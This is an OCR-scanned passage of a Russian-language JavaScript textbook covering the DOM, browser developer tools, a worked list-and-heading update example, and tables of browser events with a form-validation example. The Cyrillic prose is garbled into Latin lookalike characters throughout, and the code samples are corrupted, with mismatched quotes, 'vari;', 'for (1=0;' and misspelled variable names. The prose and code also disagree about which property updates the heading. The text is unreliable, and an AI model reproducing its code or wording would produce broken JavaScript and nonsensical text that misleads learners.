TOro, Takag CTpyKTypa Hamo-
MUWHaeT BaM, K Kakvm CBOWC-
TBaM OTKpbIBaeTCd A40CTyn
yepe3 DOM-y3en gaHHoro
3/IeMeHTa.

HOPOTs BRYCA

NPOAOBO/IbCTBEHHASA NABKA

CBEXMNH NHXUP

KeapoBbie Opeliku

nuennHbIn Mea

YT06bI OTKPLITb UHCTPYMEHTbI
paspaboTuuka B bpaysepe
Chrome B onepaynoHHoOn
cucteme macOS, BbINONHUTE
KomaHay NMpocmoTpeThb =
PaspaboTumkam = UHcTpy-
MeHTbl paspaboTumuka (View
= Developer = Developer
Tools).

Ha komnbioTepe nog ynpassne-
HVYEeM onepaLoHHON CUCTEMBbI
Windows B 6pay3sepe Chrome
HaXmMuTe KHomnkKy MHCTpyMeH-
Tbl (Tools) B npaBomM BepxHeM
yrny v Bbibepute nyHkT Jo-
NOJIHUTE/IbHbIE UHCTPYMEHTbI
= WHCTpyMeHTbI paspaboT-
yuka (More Tools = Developer
Tools).

Jlanee MOXHO WeNKHYTb
npaBown KHOMKOW MbILLIX NO
ntobomMy 3neMeHTY 1 BbIbpaTb
B KOHTEKCTHOM MEHI0 KOMaHAay
MpoBepuTb 3nemeHT (Inspect
Element).

OBbEKTHAA MOAEJIb AOKYMEHTA

DOM Breakpoints| Properties

Ecnv B BEpXHEN YaCTN OTKPbIB-
Lencsa naHenm HaxaTb KHOMKY
Elements (3nemeHTbl), TO BBEP-
Xy 0TOOPa3nNTCSA UCXOAHbIN KOA
CTpaHuLbl, @ BHU3Y — paj Aonon-
HUTENbHbIX BOSMOXHOCTEN.

Jlroboi anemeHT, obnagatoLmi
3/1EMEHTaMM-NOTOMKaMM, CHab-
XeH cTpenkon. OHa no3BonsieT
packpbiBaTb U CBOpPaYMBaTh
noApobHyto MHbopMaL Mo, CKpbl-
Basd M oTobpaxasa cogepxmmoe
3/IeMeHTa.

MaHenb CBomcTBa (Properties),
pacnofioXeHHas CBepxy, noka-
3bIBaeT TN 06BEKTA, K KOTOPOMY
NPUHAANEXUT BblAENEHHbIN
3/1eMEHT. B HEKOTOpPbIX BEPCUAX
bpaysepa Chrome aTa naHenb
odopmneHa kak Bknaaka. Korga
Bbl BblAENS€TE OTAEIbHO B3ATblEe
3/IEMEHTbI, PACMOOXEHHbIE

B OCHOBHOM OKHE C/eBa, crnpasa
Ha naHenu CeoncTtea (Properties)
yKasblBaeTCs COOTBETCTBYOLAdA
nHdopmauus.



MCCIIEOOBAHUE
OBBEKTHOW MOOEIA
OOKYMEHTA B BPAY3EPE
FIREFOX

B 6pay3epe Firefox ecTb nogobHble BCTPOEHHbIE NHCT-
pymeHTbl. OgHaKo B IHTEpHETE MOXHO CKadaTb CneLm-
anbHYt Nporpammy-unHcrnekTop DOM, oTobpaXkatoLLyto
TEeKCTOBbIE y3/1bl.

3afaB B MONCKOBMKE 3anpoc

oo e JavaSeript 1 jQuery - [nasa 5 «DOM Inspectory, Bbl nerko
# page.ntmi Viccnegosars HangeTe AONO/IHEHWE, Cre-
[l Aowywens - Yans DOM + [EHl" obvexr- vaon DOM LumManbHO paspaboTaHHoe AN
e i | T 6paysepa Firefox. UHTepdelic
¥ BODY DOM Inspector nokasaH cne-
e = Ba. Ha CHUMKe Bbl MOXeTe
. - BUAETb ApEeBOBUAHOE Npea-
#ext I ctasneHne DOM, noxoxee Ha
v Hzm‘ CTPYKTYPY, YK€ N3YYEHHYIO
mext . B NpeAblayliem pasaene.
A OpHako 34ech pacnonaratwTcs
v u e hot i Tak>e 1 y3/bl NyCTOro npo-
h CTpaHCTBa, KOTOpble ob6o-
Hoxt 3HauYeHbl Kak #text. B naHenn
ST wo ot cnpaBa nokasaHbl 3Ha4YeHus,
—— I COOTBETCTBYIOLLME y31aM, NpU

3TOM Yy Y3710B NMyCTOro npo-
CTpaHcTBa Kakne-nmbo 3Have-
HUS OTCYTCTBYIOT.

Firefox Tak>e nossonser
NOCTPOUTb TPEXMEPHOE NMpea-
cTaBneHne mogenn DOM. Ha
TaKOM CXeMe KaxXAblh 3neMeHT
3aKkJ1t04aeTCcs B paMKy, a mony-
YMBLUYKOCS CTPAHULY MOXHO
MOBOpPaYMBaTb MNOA PasHbIMM
yrnamw, 4tobbl 66110 BUAHO,
Kakue ee 3/leMeHTbl BblAatoTCsa
CuUnbHee Apyrux. Yem gnmu-
Hee MosyyaeTcs Ta WM UHas
BeTOYka aepeBa, Tem b6onblue
B HEW [JOYEPHUX 3/TEMEHTOB.

CRERHITIRD

e O

KEppoP

B pe3synbTaTe MOXHO 6bICTPO
COCTaBMWTb JOBOJIbHO UHTE-
pecHoe NpeAcCTaB/ieHNe O TOM, St
Kakas cnoxHas pasmeTka R
MCMo/Ib3yeTCsl Ha HEKOTOPbIX
Beb-cTpaHuuax u kak rnyboko
OTAE/IbHbIE 3/TEMEHTbI MOTY T
6bITb BAOXEHbI A4pYT B ApYra.

- n\.itenuw“ e

Tak>Xe peKoMeHayo no-
3HaKOMMUTHCA eLe C OAHUM
MHTEPECHbIM pacLlunpeHnem
ans 6paysepa Firefox, koTopoe
HasbiBaeTcs Firebug.

OBbEKTHAA MOAEJ/Ib AOKYMEHTA
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[MTPUMEP

OBbEKTHAA MOLEJIb
HOKYMEHTA

B 3ToM npumepe Mbl 0600LMM MaTe-
pnan 060 BCex BO3MOXHOCTSX, U3Y-
YeHHbIX B raBe 5. Mbl byaem ob6HoB-
NATb COAEPXMMOE CMNCKA, peLuas Tpu
OCHOBHbIe 3a4a4Mn.

1. l06aBUTb HOBbIV 3/IEMEHT B Ha4as10 U B KO-
Hew, crmncka.

JNa 3TUX ABYX AeNCTBMIA NPUMEHSIOTCS Pa3Hble METOAbI.

2.3aaaTb AN BCEX 3/IEMEHTOB aTpUby ThI
class.

Hy>Ho nepebpaTb B LMK/e BCE 3/1eMeHTbI <li> U UBMEHUTb 3Have-
HWe ux aTpubyToB class Ha cool.

3. ﬂ,O6aBI/ITb KOZTIN4eCTBO 3JIEMEHTOB CMNMNCKa
K 3arosioBkKy.

MocneaHasa 3ajaya pelaeTcs B YeTbipe 3Tana:

1. cyMTbIBaHWE COAEPXKMMOrO 3arosioBKa;

2.noAcyeT KoaimyecTsa 3siemeHTOoB li Ha cTpaHuue;

g i(‘ 3.3anuMcb 3TOroO YMC/a B 3arosIoBOK;
o e

4.06HOBNEHMNE 3ar00BKaA.

OBBbEKTHAA MOOE/Ib AOKYMEHTA
-
o

-




[MPMEP

OBbEKTHAA MOAEJIb JOKYMEHTA

c05/js/example.js

// BOBABNEHWE 3NEMEHTOB K HAYANY U K KOHLLY CMIUCKA

var list = document.getElementsByTagName('ul')[0];

// DOBABJIEHIE HOBOI0 3NEMEHTA K KOHLLY CICKA
var newltemLast = document.createElement('li");

var newTextLast = document.createTextNode('nepeseHckas cmerana');

newItemLast.appendChild(newTextLast);
list.appendChild(newItemLast);

// BOBABNEHIE HOBOIO INEMEHTA K HAYANY CMTUCKA
var newltemFirst = document.createElement('li");

var newTextFirst = document.createTextNode('6enokouatHas kanycra');

newltemFirst.appendChild(newTextFirst);
list.insertBefore(newItemFirst, list.firstChild);

B 3ToM YyacTu nprmepa Mol JobaBnsiem 4Ba
HOBbIX MYHKTa CMMCKa K 3/1eMeHTy ul: oguH

B KOHEeL ¥ OAWH B Ha4yano. B gaHHOM cnyyae
npumexsieTcs manunynaumns c DOM. Cosga-
HWE HOBOrO y3/1a 3/1EMeHTa 1 JobaBieHne ero
kK sepeBy DOM BbiNoHAETCS B YeTbIpe aTana.

1. Co3zaeMm y3en afieMeHTa.
2.Co3faeM TEKCTOBbIN y3es.

3. JobaBngemM TeKCTOBbIN y3€en K y3/1y
3/1eMeHTa.

4.[lobaBnsieM a/ieMeHT K AepeBy DOM.

YT06bl BbIMOTHUTb MOCAEAHNUM 3TaM, HYXXHO
CHayana ykasaTb poguTesIbCKuii 3/1eMEHT, KO-
TOpbIN ByAEeT cogep>aTb HOBbIV y3e/. B o6omnx
cnyyvaax ato ul. Ysen Ans faHHOroO aneMeHTa
coxpaHsaeTcs B nepemMeHHoM list, Tak Kak oH
NCMNONb3YyeTCst MHOTOKpPaTHO.

OBBbEKTHAA MOAEJIb AOKYMEHTA

JAVASCRIPT

// Nonyyaem anement ul

// Co3paem anemeHt
// Co3pnaem TekcToBbIit y3en

// LLo6aBnsiem TeKCTOBBIN y3eN K 3NeMeHTy
// [lo6asnsem 3neMeHT K KOHLY Cnucka

// Co3naem anemeHt

// Co3paem TekcToBbIif y3en

// [lob6asnsem TeKCTOBBIN y3eN K IneMeHTy
// [lob6aBnsem 3neMeHT K KOHLY cnucka

MeTog appendChild() fo6aBnseT HOBbIE y3/bl
KaK JoYepHue ANS poANTENbCKOrO 3/IeMeHTa.
Y Hero ecTb OANH NapameTp — HOBbIN KOH-
TEHT, KOTOPbIN TpebyeTca 406aBUTb K AepeBy
DOM. Ecnmy AaHHOIO poAMTENbCKOrO 3/1e-
MEeHTa y>Xe eCTb JoYepHuNe, TO HOBbIN JoYep-
HUI 3N1eMeHT bygeT Jo6aBeH B CaMblil KOHeL,
(1, Takmm 0bpasom, okaxeTcs NocAeaHUM
NOTOMKOM JaHHOTO 3/1EMeHTa-Npeaka).

podumensckuti.appendChild(Hossridnemenm);

(MbI y>Ke HeECKObKO pa3 Habaoganum, Kak
3TOT METO/ UCMO/b3YETCH Ha MpakTuke AN
f06aBNEHNS HOBbIX 9/IEMEHTOB K ZiePEBY
M TEKCTOBbIX Y3/10B K Y3/1aM 3/1EMEHTOB.)

YTobbl 406ABUTb 31EMEHT B Haya/10 CNNCKa,
npumMmeHseTca meTtog insertBefore(). aa aToro
TpebyeTcs elle oANH dparMeHT nHdopma-
umm: ToT (UeNEeBON) 3NEMEHT, Mepes KOTOPbIM
Bbl cObMpaeTech J06aBUTb HOBbI KOHTEHT.

podumensckuiiinsertBefore (Hossilidnemenm,
yenesoli);



[MTPMEP

OBbEKTHAA MOAEJIb JOKYMEHTA

JAVASCRIPT

var listItems = document.querySelectorAll('li');

// DOBABAEM KNNACC COOL KO BCEM NEMEHTAM CMICKA

vari;
for (1=0; i < listltems.length; i++) {
listItems[i].className = "cool';

}

c05/js/example.js
//Bce anemenTb! i
// NepemenHas cyeTymka

// Nepebupaem 3nemeHTb B LMKAe
// W3mensiem knacc Ha cool

// LOBABNAEM B 3Ar0/10BOK MHOOPMALIMO 0 KONMYECTBE INEMEHTOB B CMIMCKE

var heading = document.querySelector(*h2");
var headingText = heading.firstChild.nodeValue;
var totalltems = listItems.length;

var newHeading = headingText + '<span>' + totalltems + '</span>';

heading.textContent = newHeading;

B cneaytolen 4acTn AaHHOTO NpYMepa Mbl
nepebrpaem B LNKIE BCE 3/IEMEHTbI CNUCKa
1N 06GHOBASEM MX K/1AaCChl, MPUCBAVBasA UM
3Ha4yeHwue cool.

[ N9 3TOro Mbl CHavyasia CoxpaHsem BCe 3/1e-

MeHTbI Cnncka B nepemeHHoM listIltems. 3aTem
Mbl MO oYepean nepebrpaem nx Npu NOMoLLm
unkna for. HeobxogMmoe KoNMYeCTBO UTepa-

LU LMKIa onpeaenseTcs no ceoncTay length.

HakoHeLl, Mbl 0GHOB/ISEM 3aro0/I0BOK,
BKJIl0OYas B HETO YNCJ/10, COOTBETCTBY!IO-
Liee KOJIMYEeCTBY 3/IEMEHTOB Cnucka. 9To
06HOB/IEHWE MPOUCXOANT MPY MOMOLLM
csorcTBa innerHTML, @ He NpUeMoOB MaHuUMy-
naunm c DOM, ncnosb30BaBLUWXCS BblLe

B CLleHapuu.

Ha flaHHOM nprMepe NpoAeMOHCTPUPOBAHO,
Kak MOXHO OMOJIHUTb COAEPXMMOE CyLLec-
TBYIOLLIErO 3/IeMeHTa, CYNTAB ero Tekyllee
3HavyeHune n 406aBMB K HEMY HOBYIO MHOP-
Maumio. MpUMepHO TakuM e 06pasom Mbl
Morn 6bl 106aBUTb 3HAYEHWNE K aTPUBY Ty —
He nepe3anyucbiBas ero TeKYLLEero sHa4yeHus.

// Inement h2

// Tekct anemenTa h2

// Konuyecrso anemeHTos li
// Kotent

// 06HoBnseM h2

YT06bl MOMECTUTb B 3aro/10BOK MHOPMaL Mo
0 KO/INYECTBE 3/1IEMEHTOB, COAEPXKALLUMNXCA

B CMUCKe, HaM NoTpebyoTca AaHHblE ABY X
BUAOB.

1. UcxoaHOe cogep>XKMmoe 3arosioBka, Ytobbl
K 3TOMY TEKCTY MOXHO 6b1/10 406aBUTb
MHbOPMaLMIO O KOSIMYECTBE 3/IEMEHTOB
B cnucke. Ang nonyyeHms HeobxoanMmon
nHbopMaLMm NCNoNb3yeTCss CBONCTBO
nodeValue (cBOVicTBa innerHTML u textContent
Aanv 6bl aHaNOrNYHbIN pe3ynbTarT).

2.KonnyecTBO 3/1IEMEHTOB B CMUCKE, KOTOPOE
MO>XHO onpeAennTb No cBONCTBY length
nepemeHHon listItems.

Nmes 3Ty nHdopMaLnio, 0CTaeTcs BbIMo-
HUTb eLe ABa Wwara, 4Tobbl 06HOBUTL CoAep-
XUMOe 3/1ieMeHTa h2.

1. Co3aaTb HOBbIW 3aro/1I0BOK 1 COXPaHUTb
ero B nepemeHHomn. OH 6yaeT coCToATh
13 COAEPXMMOro UCXOAHOrO 3aronoBKa
W CNIEAYIOLLETO 3@ HUM YMC/1A SNIEMEHTOB
B CMucKe.

2.06HOBUTb 3arosiIoBoOK. /17151 3TOr0 HY>XHO
06HOBUTbL COAEPXKMMOE 3aro/I0BOYHOTO
3/leMeHTa Npuy NOMOLLM CBOMCTBa innerText
flaHHoro y3na.

OBbEKTHAA MOAEJIb AOKYMEHTA



Bpaysep npeacTaBnseT Beb6-cTpaHMLy Npy NOMOLLM AepeBa

0b6BbeKTHOM MoZenn AokyMmeHTa (AepeBa DOM).

B aepeBbsix DOM ecTb y3/1bl YeTbIpEX TUMOB: Y3/1bl AOKYMEH-

TOB, Y3/1bl 2J/1IEMEHTOB, Y3J1bl anI/|6yTOB N TEKCTOBbIE Y3J1bl.

YT0obbl BbIOMPATL Y3/1bl 3/IEMEHTOB, MOXHO MOJ/Ib30BaThCA UX
aTpunbyTammn id nnu class, MMeHeM Tera uam cuHtTakcmcom CSS-

CEJIEKTOPOB.

Bcakui pas, koraa 3anpoc kK DOM MmoxeT BepHyTb bonee ogHoO-

ro y3n1a, oH Bo3BpallaeT oo6bekT Tuna Nodelist.

PaboTas c y3/10M 3/1eMEHTa, MOXHO NOSTy4YNTb AOCTYMN K coaep-
KMMOMY 3TOr0 3/IEMEHTa M 0OHOBUTb €ro — AJ1 Yero npnume-
HATCA NMbo cneymanbHblie cBoncTBa (Hanpumep, textContent

n innerHTML), nn60o npmuembl Manunynaumum ¢ DOM.

Y3en aieMeHTa MOXET COAeP)KaTb MHOXECTBO TEKCTOBbIX Y3-
JI0B U IOYEPHUNX S/TIEMEHTOB, KOTOPbIE B TaKOM C/lyYae byayT

CMEXHbIMW ApPYr OTHOCUTENBHO ApYyra.

B cTapbix 6paysepax 06bekTHast Mode b AOKYMEHTA peasin3o-
BaHa HECOr/TaCOBAHHO — M BO MHOMOM MMEHHO MO3TOMY TakK

BocTpeboBaHa bubamnoTeka jQuery.

B 6pay3epax ecTb cneLmanbHble MHCTPYMEHTbI 419 MPOCMOTpPa

DOM-gepesBa.






Korpaa Bbl paboTaeTe B VIHTepHeTe, bpaysep dpuk-
cupyeT pasHoobpasHbie cobbITnA. Taknm obpasom
nporpaMmma CUrHanmsnpyeT Bam: «4To-To npo-
N30LL10Y. Balll cLleHapuin MOXeT pearnpoBaTh Ha

cobbiTUS.

Peakuusa cueHapus B Taknx caydasx 3a4acTylo 3ak/toyaeTcs B 06HOBNeHMM Beb-CcTpa-
HUUbl (4epe3 0O6bEKTHYIO MOAe b JOKYMeHTa). Brarogaps aTomy cTpaHuLa KaxeTcs

6onee UHTEPaAKTUBHOW. B rnaBe 6 Bbl y3HaeTe CleaytoLLee.

B3AVMOLOEWC-
TBUA MOPOXOA-
FOT COBbITUA

CobbITMS NPOUCXOASAT,
Korga nonb3oBaTesib
L|eIkaeT MblLLbto MO
CCbl/IKe UK NpuKaca-
eTCcs K Hel nanblem

Ha CEHCOPHOM 3KpaHe,
HaBOAWT yKasaTeslb
MbILLN Ha 9/1eMEHT 1M60O
BbIMOJIHAET XXeCT CMaxu-
BaHWs, BBOAWUT TEKCT Ha
Knasuatype, uameHseT
pa3mep OkHa, a Tak>e
Koraa B 6bpaysepe 3arpy-
XaeTcs 3anpolueHHas
cTpaHuua.

B PE3YJILTATE
COBbITUN CPABA-
TbIBAET KO,

Koraa npoucxoauT co-
6bITHE, OHO cnocobHO
MHULMMPOBATb BbIMNO-
HeHWe onpesenieHHON
dbyHKkUMK. Mpun B3anmMo-
fleNCTBUK NoNb3oBaTenNs
C pasHbiMu dparmeH-
TaMun CTpPaHMLbl MOXeT
3anycKaTbCs pa3IMYHbIN
KoA.

KOO PEATUPYET
HA OEVMCTBUA
MOJIb3OBATEJIA

B npeabiayLien rnase
Bbl y3Ha/N, Kak Mnosb-
30BaTbCs 06bEKTHOM
MOZeblo AOKYMEHTA
Ans 0bHOBNEHUSA CTpa-
HULbl. COBbITMA MOTYT
NHULNMPOBATb UMEH-
HO Takne U3IMEHEHUS,
KOTOpble peannsytoTca
Ha ypoBHe DOM. VimeH-
HO Tak Beb-cTpaHuua
pearvpyeT Ha AeCTBUS
nonb3oBaTens.



_ COBbITUSA @




PA3JIMYHBIE TUTbI
COBbITNW

Huxxe nepeyncrieHbl HeKOTOpble COObITUA, MponCXoasLLne
B Opay3epe B npouecce paboTbl BO BcemunpHon nayTuHe.
Bbl MOXeTe MCMo/1b30BaTb NX, YTOObI MHULIMMPOBATDL Bbl-
nosiHeHWe yHKLUMN B Ballem JavaScript-koge.

COBbITUA MOJIb3OBA-

OHM NpoucxoasT, Korja nosib3oBaTe b B3aMMOAENCTBYET

TEJIbCKOIMO MHTEP®EMCA  cunTepdeiicom camoro 6paysepa, a He ¢ Be6-CTpaHuLet.

COBbITUE OMNCAHUE

load 3arpyska Beb-cTpaHulbl 3aBepLleHa

unload Be6-cTpaHuua BbirpyskeHa (kak npaBuo, B pesyabTaTe 3anpoca
Apyrov Beb-cTpaHuubl)

error Bpaysep BcTpeTun ownbky JavaScript, nnbo pecypc He cyuiec-
TBYET

resize Pasmep okHa 6pay3sepa Obi1 U3MeHeH

scroll lMonb3oBaTe b NPOKPYTUA CTPAHULY BBEPX AN BHU3

COBbITUA KJTABUNATYPbI

OHW MPOUCXOAAT, KOorAa nosb3oBaTe b paboTaeT ¢ KnaBuaTy-
poi (Tak>e CM. cobbITHeE input).

COBbITUE OMMCAHUE

keydown Mosb3oBaTeNb Haxan knaeuiuy (eCM OH yaepXUBaeT KasuLy,
3T0 cobbITME NOBTOpPSieTCA)

.keyup Mosib30BaTe b OTMYCTU KAABULLY

.keypress BcTaBnseTca cumeon (eC/v NOMb30BaTE b YAEPXKMBAET KNaBU- .

COBbITUA MbILLN

wy, 3To cobbIT1E NOBTOPAETCH)

OHM NpouCXoaaT, Korja nosb3oBaTtesib paboTaeT C MblLLbHO,
Tpeknagom (Taunagom) nam CEHCOPHbIM 3KPAaHOM.

COBbITUE ONMNCAHUE

click [Monb3oBaTe b HAXMMAET N OTNYCKAeT KHOMKY MbILLN, YAEPXU-
Basi ykasaTeslb Ha OAHOM 31eMeHTe

dblclick lMonb3oBaTeNb ABaX /bl HAXWMAET M OTAYCKAET KHOMKY MbILLN,
yAep>XnBas ykasaTe/ib Ha OAHOM 3/1eMeHTe

mousedown [Monb3oBaTeNb yaepXmMBaeT KHOMKY MblLLK, MOKa yKa3aTesb
HaxoAWTCS Ha 3/IeMeHTe

mouseup [Monb3oBaTelb OTNYCKAET KHOMKY MbILLIW, MOKa YKa3aTe b Haxo-
AVNTCA Ha 3/1eMeHTe

mousemove Monb3oBaTenb NepemellaeT ykasaTtesb Mblln (He OTHOCKTCS
K CEHCOPHBIM 3KpaHam)

mouseover [Monb3oBaTeNb NepemMellaeT ykasaTe b MblLLW B Npejenax
04 HOro 3n1emeHTa (He OTHOCUTCS K CEHCOPHbIM 3KpaHam)

mouseout lMonb3oBaTeb NepemMeLlaeT ykasaTe b MblLLW, BbIBOAS €r0 33

@ COBbITUA

npegenbli anemMeHTa (He oTHoCKTCH K CEHCOpPHbIM BKDaHaM)



TEPMWHOJ10T A

COBbITUA CPABATBIBAKOT, MJTM BO3HUKAIOT

Korga npouncxoant cobbiTne, yacTo rOBOPAT, 4HTO OHO Cpa60Ta—
J10. Tak, Ha pUCyHKe CnpaBa NON1b30BaTe/ib HaXXMMaeT Ha CCblNIKY, HOBBIA AKKAYHT

n B bpaysepe cpabaTbiBaeT cobbiTue click.

Mapons:

COBbITUA 3ATTYCKAKT CLUEHAPUA B

MPUHATO rOBOPUTH, YTO COBbLITME 3anycKaeT GyHKLUMWIO UK Cle-
Hapuir. Korga Ha pucyHke cnpaa cpabaTbiBaeT cobbiTue click, OHO
MOXET 3anyCTUTb CLLeHapWiA, YBEIMYNBAIOL I pa3mepbl BbiOpaH-
HOro a/1IeMeHTa.

COBbITUSA OHM NpoucxoaaT, Korga anemeHT (Hanpumep, ccblaika uam
DOKYCUPOBKMN nosne Gopmbl) nonagaeT B GOKYC UM BbIXOAUT U3 poKyca.
COBbITUE OMUCAHUE

focus / focusin dnemMeHT nonydyaeT Gokyc

blur/focusout 3neMeHT TepsaeT dokyc

OHM NpoucxoAsT, Korja nosib3oBaTesib B3aMMOAENCTBYEeT
c anemeHTaMn Gopm.

COBbITUA ®OPM

COBbITUE ONMNCAHUE

input N3meHwnnoch 3HaueHne B tobom snemeHTe input nnn

textarea (Internet Explorer 9 nnu sbiwe) nnbo B Ntobom sne-
MeHTe C anl/I6yTOM contented1table

change V|3MeHI/II'IOCb 3HayeHWe B packpblBatoLLEMCS CINCKe, NO-
NIOXeHWe nepekstoyaTens uam ¢baaxok 6bi1 yctaHoBAeH/
cbpowueH (Internet Explorer 9 nnu Bbiwwe)

submit Monb3oBaTenb oTnpasua dopmy (Haxas KNaBULWYy Ha Kna-
BMaType NN 3KPaHHYIO KHOMKY)

reset Monb3oBaTeNb Haxan KHOMNKy cbpoca popmbl (B HacToAlee
BpeMS UCMO/Ib3yeTCa HevacTo)

paste Monb3oBaTeNb BCTaBWUA cogepxunmoe bydepa obmeHa
B nosie dpopmbl

select Monb30BaTe b BbIAEN YaCTb TEKCTA B nosie GOopMbl
COBbITUA UBMEHEHWN OHV MPOUCXOAAT, KOFAa CLIeHapU MU3MEHSAET CTPYKTYpyY
DOM* 06bEKTHOM MOAENN JOKYMEHTA.

* VIX NNaHnpyeTcs 3amMeHunTb HabnaaTensmm U3MeHeHnm
DOM (cm. c. 290).

COBbITUE ONMNCAHUE

DOMSubtreeModified B AOKyMEHT 6bI/10 BHECEHO UBMEHEHWE

DOMNodelnserted B AOKYMEHT 6bin1 BCTAB/IEH Y3e/, ABAAOLLUNCSA NPAMbIM
NOTOMKOM ApYyroro y3na

DOMNodeRemoved W3 y3na 6bln yaaneH y3en-noTomok

DOMNodeInsertedIntoDocument Y3en 6bi1 BCTaBAEH B AOKYMEHT Kak MOTOMOK Apyroro ysna

DOMNodeRemovedFromDocument Ysen 6b|n yflaneH U3 oKyMeHTa Kak MoTOMOK Apyroro ysna

COBbITUA @



KAK COBbITUNHA
SATTYCKAIKOT KO/
JAVASCRIPT

Bo Bpems paboTbl ¢ HTML-KOHTEHTOM Beb-CTpaHuLb
MO>HO 3amnycTuUTb ntobon Koz JavaScript — 3To genaetcs
B TpM 3Tana. Bce BMecTe OHM Ha3biBaloTCA 06paboTkom

cobbiTUN.

]

Bbigensercs ysen
asemeHTa (y3nbl
3/1EMEHTOB), Ha KO-
Topble, MO BallemMy
3aMbIC/Y, AOJIKEH
pearmpoBaThb cue-
Hapun.

Hanpumep, Bbl X0TUTE,
4T06bI PYyHKUMA 3anycKa-
nachb, Korga nosib3oBaTesb
HaXMMaeT Ha KOHKPETHYO
ccbinky. B Takom cnyyae Bbl
AOJIKHbI NoNy4YnTh DOM-
y3€en LaHHOr O CCbI/IOYHOTO
3NieMeHTa. DTo AenaeTtcs
npu NomoLLKM 3anpoca

Kk DOM (cm. rnasy 5).

CobbITVA NoNb30BaATEb-
ckoro nHTepdeica, To ecTb
oTHoOCsLWMecs K bpaysep-
Hol 06onoyKe Kak TakoBOM
(a He K 3arpy>XeHHON B HeW
Beb-cTpaHuue) paboTatoT

c obbekTom window, a He
cy3nom snemeHTa. Cpeaun
cobbITUI 3TOM KaTeropum
eCTb Takue, KOTopble Npo-
NCXOAST NpW 3aBepLUEHNN
3arpy3Ku 3anpoLleHHom
CTpaHuubl NMbo Korga nosib-
30BaTesib NPOKPYy4YMBaET 40O~
KymeHT. O6 3Tnux cobbITUsaX
Mbl MOrOBOPUM Ha C. 278.

@ COBbITUSA

2

YKka3blBaeTcH,
Kakoe cobsiTre

B BbIOpaHHOM y3/e
snemeHTa (y3nax
3/1eMeHTOB) byaeT
MHNLMNPOBATH
OTKJIUK.

MporpaMmMncTbl HasbiBaloOT
TaKoW akT MpuBA3Kos Cobbl-
Tus Kk ysny DOM.

Ha npeabiayLinx AByx
CTpaHuuax Mbl paccmoTpe-
An noabopky NonyaspHbIX
CcOBbITUIN, KOTOPbIE MOXHO
OTC/eXMBaThb.

HekoTopble cobbITUS pa-
60TaT C 6ONLLINHCTBOM
Yy3/10B 3/1EMEHTOB — Kak,
Hanpumep, cobbiTne

mouseover; OHO MPONCX0-
[WT, Korga nosib3oBaTtesib
NpoBOANUT yKasaTesem
MbILLVM MO I06OMY 31eMeH-
Ty. Apyrue cobbiTua pabo-
TalT /INLWb C HEKOTOPbLIMM
y3/1aMU 3/1EMEHTOB — Ha-

npumep, cobbiTne submit

MOXEeT MPONCXoANTb TOSTbKO

B dopmax.

3

BBoanTca kog,
KOTOPbIN AO/IXKEH
BbIMONHATHCSH MNpKU
BO3HUKHOBEHUM
AaHHOro cobbITUSA.

Korga cobbiTne nponcxoant
B yKa3aHHOM 3/1eMEHTE, OHO
NHULMUpyeT GyHKUMIO. DTa
PyHKLUMA MOXET BbITb UMe-
HOBaHHOM MM aHOHUMHOW.



3/1eCcb paCCMOTPEHO, Kak 0bpaboTka cobbITUIN NO3BONSAET

pearnpoBaTb Ha AENCTBNA NOJIb30BaTE 1S, 3aN0/THAOLLe-
ro perucTpaunoHHyto popmy. Ecnm Bbl BbibepeTe canLL-

KOM KOPOTKOE UMS MoIb30BaTeNsd, TO popma oTobpasnT
coobLeHre 0b oLumbKe.

]

BblIBOP
SJIEMEHTA

DNeMeHT, C KOTOPbIM B3au-
MOAeIZCTBy}OT noceTnTenun
camTta, — 3To none Ansa
BBOJaA TeKCTa, KyJda 3anncCbl-
BaeTCsa MM4A Nosib3oBaTeNnA.

2

YKA3AHWE
COBbITUNA

Korga nonb3oBaTesnb yBO-
ANT MblLLb U3 NONSA ANA TeK-
CTOBOr0 BBOAA, OHO TepsaeT
OKYC, M B 3TOM 3/1EMEHTE

cpabaTbiBaeT cobbiTue blur.

Co6biTue: blur Ha none c uMeHem
nonb3osaTtens

e ®dyHkuus: checkUsername()
npoBepsaeT, 4OCTAaTOYHOE JIN KOJINHEeCTBO
CUMBOJIOB COMlEPXKUTCS B UMEHU
nonb3osarens

Mony4yntb MA nonb3oBatens

4

NMa nonb3oBartens
‘? COOoEepPXUT MeHee ?

5 cumBonos?

Ypanutb
coobleHne

OTO06pasnTb coo6-
weHune o6 ownbke

Bbl3OB KOOA

Korga cobbiTue blur cpaba-
TbiBaeT B Mo/ie A5 BBOAA
MMeHU Nonb3osaTtens,

OHO 3anyckaeT GyHKLMIO

checkUsername(), kotopas
nposepsieT, He siBAsieTCS
JIV UMSl KOPOYe MATW CUM-
BOJIOB.

Ecan cumBonoB HegocTa-
TOYHO, TO BbIBOAUTCS CO06-
uieHne ob owwnbke, noacka-
3blBatoLLEE NOIb30BATENIO,
4YTO OH O/IKEH yKa3aTb
6onee ANNHHOE UMS.

Ecan cumBonoB yxe gocra-
TOYHO, TO SNIEMEHT, CO-
Aep>xalwmin coobuieHme ob
owmnbke, cnegyeT O4YNCTUTD.
Jleno B TOM, 4TO flaHHoe
coobuieHmne yxxe Morno
6bITb NOKA3aHO Nob30Ba-
TenNo, B pe3ybTaTe Yero oH
nucnpasun owmnbky. Ecnm
coobuieHme 06 owmbke He
NCYE3HET, 3TO MOXET 3any-
TaTb No/sb30BaTENS.

COBbITUA @



TPN CINOCOBA
[MPNBA3SKW COBbITUNA
K 3JIEMEHTY

Mpu nomMmoLm 06paboTUNKOB COOLITUM MOXHO YKa3biBaTb,

Kakoe cobblTue Bbl oOXKnaaeTe Ha Ka>XJOM KOHKPETHOM

snemeHTe. CyLLecTBYOT TpW Tina 0b6paboTymkoB cobbl-

TUN.

O6paboTunKkm cobbl-
TUW, DencTByoLne
Ha ypoBHe HTML-pa3s-
MeTKW

Cm. c. 257.

MpumeHATb Takue obpa-
60TUMKM COBLITUI He peKo-
MeHZAYeTCs, HO 3HaTb O HUX
Heo6Xo0AMMO, TaK KaK OHU
MOryT BCTPETUTbCSA BaM

B CTapoMm Koze.

B paHHMX BEpCUAX A3blKa
HTML cywecTtBoBanu aT-
pubyTbl, cCNOCOOHbIE pearun-
poBaTb Ha COBbLITUA B TOM
3/IEMEHTE, K KOTOPOMY
6binn fobasneHbl. imeHa
3TUX aTPUBYTOB YaCTUYHO
coBnaganu c HazBaHUaMMU
COOTBETCTBYIOLMX COBbI-
TUR, @ 3HAYEHWS Bbi3biBa-
v Te GYHKLMK, KOTOpble
AO/IXHbI 6bINM 3anycKaTbCs
Npu BOSHUKHOBEHWUN CO-
ObITUN.

